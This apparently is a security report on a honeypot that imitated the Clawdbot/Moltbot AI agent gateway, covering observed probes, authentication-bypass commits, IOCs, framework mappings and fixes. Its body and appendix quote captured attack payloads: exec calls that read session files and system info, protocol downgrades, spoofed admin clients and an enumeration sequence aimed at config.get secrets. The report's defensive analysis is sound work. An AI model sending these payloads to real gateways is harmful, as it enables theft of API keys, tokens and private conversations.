We deployed a honeypot mimicking a Clawdbot gateway and validated every payload against the source code. Within hours, attackers were probing with protocol-aware exploits.
Clawdbot (recently rebranded as Moltbot) went viral as a self-hosted AI agent for managing your digital life. Thousands deployed it. The gateway exposes a WebSocket API on port 18789 that, until late January 2026, had authentication disabled by default and blindly trusted any connection routed through a reverse proxy as localhost.
We stood up a honeypot on port 18789 to find out who was scanning. The first probes arrived within minutes.
The traffic included prompt injection attempts targeting the AI layer—but the more sophisticated attackers skipped the AI entirely. They connected directly to the gateway's WebSocket API and attempted authentication bypasses, protocol downgrades to pre-patch versions, and raw command execution. Every RPC method they probed maps to a real handler in the codebase. They're not guessing. They've read the source.
A successful attack can yield API keys (Anthropic, OpenAI), gateway credentials, and channel tokens (Telegram, Discord, Slack)—all stored and transmitted in plaintext. It can also yield full conversation history: everything users have discussed with their AI assistant. For multi-node deployments, attackers get a map of connected infrastructure for lateral movement.
This report breaks down what we captured, traces the vulnerabilities to their source commits, and explains what you need to fix.
Key Findings
1. Direct Protocol Attacks (Bypassing the AI)
Some attackers connected directly to the gateway's WebSocket endpoint and sent JSON-RPC payloads attempting command execution:
{"id": 1, "method": "tool", "params": {"args": {"command": "whoami"}, "name": "exec"}, "jsonrpc": "2.0""id": 4, "method": "tool", "params": {"args": {"command": "cat ~/.clawdbot/agents/*/sessions/*.jsonl"}, "name": "exec"}, "jsonrpc": "2.0"}
These payloads don't require prompt crafting or social engineering the LLM. They attempt raw command execution over the WebSocket connection using a tool method.
Our source audit confirmed that Clawdbot's gateway doesn't implement JSON-RPC 2.0, and has no tool or exec method over WebSocket. We believe these payloads may be attempting to exploit CVE-2026-0755 (ZDI-26-021), a command injection vulnerability in gemini-mcp-tool, based on three characteristics: the use of args rather than arguments (matching Gemini's function calling format rather than the MCP specification), the targeting of an exec method (CVE-2026-0755 exploits the execAsync method), and the Clawdbot-specific file paths bolted onto what appears to be a broader scanning toolkit.
2. Protocol Downgrades Targeting Unpatched Instances
We observed connection attempts with minProtocol: 1, forcing protocol downgrades to exploit authentication weaknesses patched in earlier releases.
{"id": 1, "type": "req", "method": "connect", "params": {"caps": [], "client": {"id": "cli-client", "mode": "interactive", "version": "1.0.0", "platform": "linux"}, "maxProtocol": 1, "minProtocol": 1}}
Our review of Clawdbot's git history reveals what they're targeting:
Auth Defaulted to "none" When Unconfigured
Fixed in commit c4a80f4ed (2026-01-26)
If no gateway.auth.token or gateway.auth.password was set, the gateway allowed full unauthenticated access.
const mode: ResolvedGatewayAuth["mode"] =
authConfig.mode ?? (password ? "password" : token ? "token" : "none");
const mode: ResolvedGatewayAuth["mode"] =
authConfig.mode ?? (password ? "password" : "token");
The "none" auth mode was subsequently removed entirely in commit 3314b3996 (2026-01-26).
Reverse Proxy Connections Bypassed Authentication
Fixed in commit 6aec34bc6 (2026-01-26, PR #1795)
Gateways behind nginx, Caddy, or Traefik treated all proxied connections as localhost, automatically trusting them. Without gateway.trustedProxies configured, every external connection appeared to come from 127.0.0.1.
const isLocalClient = isLocalGatewayAddress(clientIp);
const hasProxyHeaders = Boolean(forwardedFor || realIp);
const remoteIsTrustedProxy = isTrustedProxyAddress(remoteAddr, trustedProxies);
const hasUntrustedProxyHeaders = hasProxyHeaders && !remoteIsTrustedProxy;
const isLocalClient = !hasUntrustedProxyHeaders && isLocalGatewayAddress(clientIp);
O'Reilly reported this issue to the Clawdbot developers and it was addressed in PR #1795.
The honeypot shows attackers are still probing for unpatched instances, and the protocol downgrade attempts suggest they're finding them.
3. Accurate Protocol Knowledge
We validated the attack payloads against Clawdbot's source code. Every captured RPC method the attackers probed has a real handler:
| Probed Method |
Handler Location |
What It Exposes |
node.list |
src/gateway/server-methods/nodes.ts:223 |
Distributed node infrastructure |
chat.history |
src/gateway/server-methods/chat.ts:184 |
Full conversation content |
device.pair.list |
src/gateway/server-methods/devices.ts:33 |
Paired device enumeration |
channels.status |
src/gateway/server-methods/channels.ts:70 |
Messaging channel configuration |
config.schema |
src/gateway/server-methods/config.ts:101 |
Configuration structure for targeted extraction |
The attackers aren't guessing. They have accurate protocol knowledge, and the node.list method accounted for 16% of all requests in our dataset, suggesting particular interest in multi-node deployments where lateral movement is possible.
4. Systematic Three-Phase Attack Playbook
The honeypot captured a methodical attack sequence:
| Phase |
Methods Observed |
Attacker Goal |
| Reconnaissance |
health , system-presence |
Confirm it's a real Clawdbot instance, fingerprint the target |
| Enumeration |
agents.list , sessions.list , models.list , node.list , device.pair.list |
Assess value: what agents exist, what nodes are connected, what's worth stealing |
| Exploitation |
config.get , chat.history , tool ( exec ) |
Extract credentials, read conversations, execute commands |
Full request sequence from a single WebSocket session:
{"id": "req-1", "type": "req", "method": "connect", "params": {...}}
{"id": "req-2", "type": "req", "method": "health", "params": {}}
{"id": "req-3", "type": "req", "method": "system-presence", "params": {}}
{"id": "req-4", "type": "req", "method": "agents.list", "params": {}}
{"id": "req-5", "type": "req", "method": "sessions.list", "params": {}}
{"id": "req-6", "type": "req", "method": "config.get", "params": {}}
{"id": "req-7", "type": "req", "method": "models.list", "params": {}}
{"id": "req-8", "type": "req", "method": "skills.status", "params": {}}
{"id": "req-9", "type": "req", "method": "cron.list", "params": {}}
This sequence is not opportunistic scanning. It's a methodical checklist for extracting maximum value from every compromised instance.
Evidence of Version Targeting
The probe variations suggest attackers are testing multiple Clawdbot release versions:
| Probe Characteristic |
Likely Target |
minProtocol: 1, maxProtocol: 1 |
Pre-January 2026 releases without device identity requirements |
minProtocol: 3, maxProtocol: 3 |
Current releases with full authentication |
role: "operator" without device block |
Older releases where device identity was optional |
role: "user" with webchat mode |
Testing if lower-privilege roles bypass checks |
scopes: ["operator.admin", "operator.approvals", "operator.pairing"] |
Testing expanded scope claims |
client.id: "clawdbot-control-ui" |
Impersonating legitimate control UI clients |
Attackers are also impersonating legitimate Clawdbot clients:
{"id": "...", "type": "req", "method": "connect", "params": {
"client": {"id": "moltbot-control-ui", "mode": "webchat", "version": "dev", "platform": "Win32"},
"locale": "zh-CN",
"scopes": ["operator.admin", "operator.approvals", "operator.pairing"],
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."
}}
Note the locale: "zh-CN" and full browser user agent string. Attackers are attempting to blend in with legitimate traffic patterns.
The security hardening timeline we reconstructed from git history:
| Date |
Commit |
Change |
| 2026-01-13 |
7616b02bb |
Fixed Tailscale allowTailscale auth bypass |
| 2026-01-19 |
2f8206862 |
Removed Bridge protocol entirely |
| 2026-01-20 |
9dbc1435a |
Enforced protocol v3 roles + node allowlist |
| 2026-01-21 |
f76e3c141 |
Enforced secure Control UI authentication |
| 2026-01-26 |
6aec34bc6 |
Fixed reverse proxy auth bypass (PR #1795) |
| 2026-01-26 |
c4a80f4ed |
Required gateway auth by default |
| 2026-01-26 |
3314b3996 |
Removed auth mode "none" entirely |
The Real Prize: What Attackers Get
The obvious target is config.get. The handler (in src/gateway/server-methods/config.ts:86-100) returns readConfigFileSnapshot() which includes:
anthropic.apiKey, openai.apiKeygateway.auth.token, gateway.auth.password- Channel credentials (Telegram bot tokens, Discord tokens, Slack tokens)
All stored and transmitted in plaintext.
We traced this handler back to its original implementation in commit 3c4c2aa98. The code has never redacted sensitive fields. The assumption was: if you're authenticated, you're trusted. When authentication fails, everything is exposed.
But chat.history might be worse. While config.get returns the keys to your infrastructure, chat.history (at src/gateway/server-methods/chat.ts:184) returns everything users have discussed with their AI assistant.
What You Should Do Now
If you're running Clawdbot, assume you're being attacked.
1.Update to the latest release. Versions before the January 26, 2026 patches contain auth bypass vulnerabilities that attackers are actively targeting.
2.Verify authentication is configured.
clawdbot config get gateway.auth
You need either gateway.auth.token or gateway.auth.password set. Never rely on "localhost is trusted" defaults.
3.Fix your reverse proxy configuration. If you're using nginx, Caddy, or Traefik, configure gateway.trustedProxies:
gateway:
trustedProxies:
- "127.0.0.1"
auth:
mode: token
token: ${CLAWDBOT_GATEWAY_TOKEN}
Without this, proxied connections appear as localhost and bypass auth entirely.
4.Don't expose the gateway to the internet. Clawdbot's gateway was designed for local use. If you need remote access, use Tailscale Serve or a VPN with IP allowlisting.
5.Run the security audit.
clawdbot security audit --deep
6. Review connected integrations. Every service Clawdbot can access is a service attackers can access. Revoke credentials you're not actively using.
Takeaway
Clawdbot's rapid adoption outpaced its security maturity. Automated exploitation campaigns are already targeting exposed instances using a systematic playbook to extract credentials and establish persistent access.
Patch. Authenticate. Isolate. The scans are already running.
Appendix: Observed IOCs, and Attack Payloads
Indicators of Compromise (IOCs)
Source IP Addresses
| IP Address |
% of Traffic |
Behavior Profile |
144.31.99.48 |
67% |
Systematic enumeration, heavy node.list probing (16% of all requests), credential extraction attempts |
201.203.24.148 |
13% |
Protocol downgrade (minProtocol: 1), generic API probing |
105.79.125.59 |
9% |
Reconnaissance, role escalation testing |
159.65.108.103 |
6% |
JSON parser fuzzing, alternative frame type probing |
116.73.159.68 |
2% |
JSON-RPC/MCP-style command execution attempts |
198.166.73.99 |
2% |
Device authentication probing with cryptographic signatures |
120.227.46.235 |
1% |
Client impersonation (moltbot-control-ui), Chinese locale |
Security Framework Mapping
The following table maps observed honeypot behaviors to established security frameworks: MITRE ATT&CK, MITRE ATLAS (AI-specific threats), OWASP API Security Top 10 (2023), and OWASP Top 10 for Agentic Applications (2026).
| Observed Behavior |
MITRE ATT&CK |
MITRE ATLAS |
OWASP API (2023) |
OWASP Agentic (2026) |
Protocol/method enumeration (node.list, sessions.list, channels.status, health) |
T1595 – Active Scanning |
AML.T0006 – Active Scanning |
API9 – Improper Inventory Management |
|
Generic API discovery probes (ping, echo, info, version, capabilities, methods) |
T1595 – Active Scanning |
AML.T0006 – Active Scanning |
API9 – Improper Inventory Management |
|
| Service discovery/fingerprinting (discovering exposed RPC surfaces) |
T1046 – Network Service Discovery |
|
|
|
AI endpoint probing (Gemini-style JSON-RPC: {"method":"tool","params":{"name":"exec","args":...}}) |
T1595 – Active Scanning |
AML.T0040 – AI Model Inference API Access |
|
|
Tool invocation/command and execution (tool exec whoami, tool read /etc/os-release) |
|
AML.T0053 – AI Agent Tool Invocation |
|
ASI02 – Tool Misuse and Exploitation |
OS/environment discovery (whoami, OS release file reads) |
T1082 – System Information Discovery |
AML.T0050 – Command and Scripting Interpreter |
|
|
Agent config discovery (probing ~/.clawdbot/.../sessions/*.jsonl) |
|
AML.T0084 – Discover AI Agent Configuration |
|
|
Credential/secret probing (config.get for API keys, tokens) |
|
AML.T0083 – Credentials from AI Agent Configuration |
API5 – Broken Function Level Authorization |
ASI03 – Identity and Privilege Abuse |
Client impersonation (spoofed client.id: moltbot-control-ui) |
T1078 – Valid Accounts |
AML.T0074 – Masquerading |
API2 – Broken Authentication |
ASI03 – Identity and Privilege Abuse |
Malformed JSON/parser fuzzing ({, }, partial JSON, alternate frame types) |
|
|
API8 – Security Misconfiguration |
|
| Resource exhaustion (high request volume, burst enumeration) |
|
|
API4 – Unrestricted Resource Consumption |
|
Attack Payload Samples
1. JSON-RPC Command Execution Attempts (MCP-style)
{"id": 1, "method": "tool", "params": {"args": {"command": "whoami"}, "name": "exec"}, "jsonrpc": "2.0"}
{"id": 3, "method": "tool", "params": {"args": {"path": "/etc/os-release"}, "name": "read"}, "jsonrpc": "2.0"}
{"id": 4, "method": "tool", "params": {"args": {"command": "cat ~/.clawdbot/agents/*/sessions/*.jsonl"}, "name": "exec"}, "jsonrpc": "2.0"}
{"id": 4, "method": "tool", "params": {"args": {"command": "ls -la ~/.clawdbot/agents/*/sessions/*.jsonl"}, "name": "exec"}, "jsonrpc": "2.0"}
2. Protocol Downgrade Attempts
{"id": 1, "type": "req", "method": "connect", "params": {"caps": [], "client": {"id": "cli-client", "mode": "interactive", "version": "1.0.0", "platform": "linux"}, "maxProtocol": 1, "minProtocol": 1}}
3. Client Impersonation
{"id": "969bbd4f-...", "type": "req", "method": "connect", "params": {"caps": [], "role": "operator", "client": {"id": "moltbot-control-ui", "mode": "webchat", "version": "dev", "platform": "Win32"}, "locale": "zh-CN", "scopes": ["operator.admin", "operator.approvals", "operator.pairing"], "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36..."}}
{"id": "84e047a2-...", "type": "req", "method": "connect", "params": {"caps": [], "role": "operator", "client": {"id": "clawdbot-control-ui", "mode": "webchat", "version": "dev", "platform": "Linux x86_64"}, "locale": "en-US", "scopes": ["operator.admin", "operator.approvals", "operator.pairing"], "userAgent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"}}
4. Alternative Frame Type Probing
{"id": "test-1", "type": "chat.send", "agent": "main", "content": "Hello"}
{"id": "123", "type": "input", "content": "Hello world", "agent_id": "main"}
{"type": "session.start", "agent": "main"}
5. Generic API Discovery Probes
{"id": 4, "type": "req", "method": "ping", "params": {}}
{"id": 5, "type": "req", "method": "echo", "params": {}}
{"id": 6, "type": "req", "method": "info", "params": {}}
{"id": 7, "type": "req", "method": "version", "params": {}}
{"id": 12, "type": "req", "method": "capabilities", "params": {}}
{"id": 13, "type": "req", "method": "methods", "params": {}}
6. Systematic Enumeration Sequence (Single Session)
{"id": "req-1", "type": "req", "method": "connect", "params": {...}}
{"id": "req-2", "type": "req", "method": "health", "params": {}}
{"id": "req-3", "type": "req", "method": "system-presence", "params": {}}
{"id": "req-4", "type": "req", "method": "agents.list", "params": {}}
{"id": "req-5", "type": "req", "method": "sessions.list", "params": {}}
{"id": "req-6", "type": "req", "method": "config.get", "params": {}}
{"id": "req-7", "type": "req", "method": "models.list", "params": {}}
{"id": "req-8", "type": "req", "method": "skills.status", "params": {}}
{"id": "req-9", "type": "req", "method": "cron.list", "params": {}}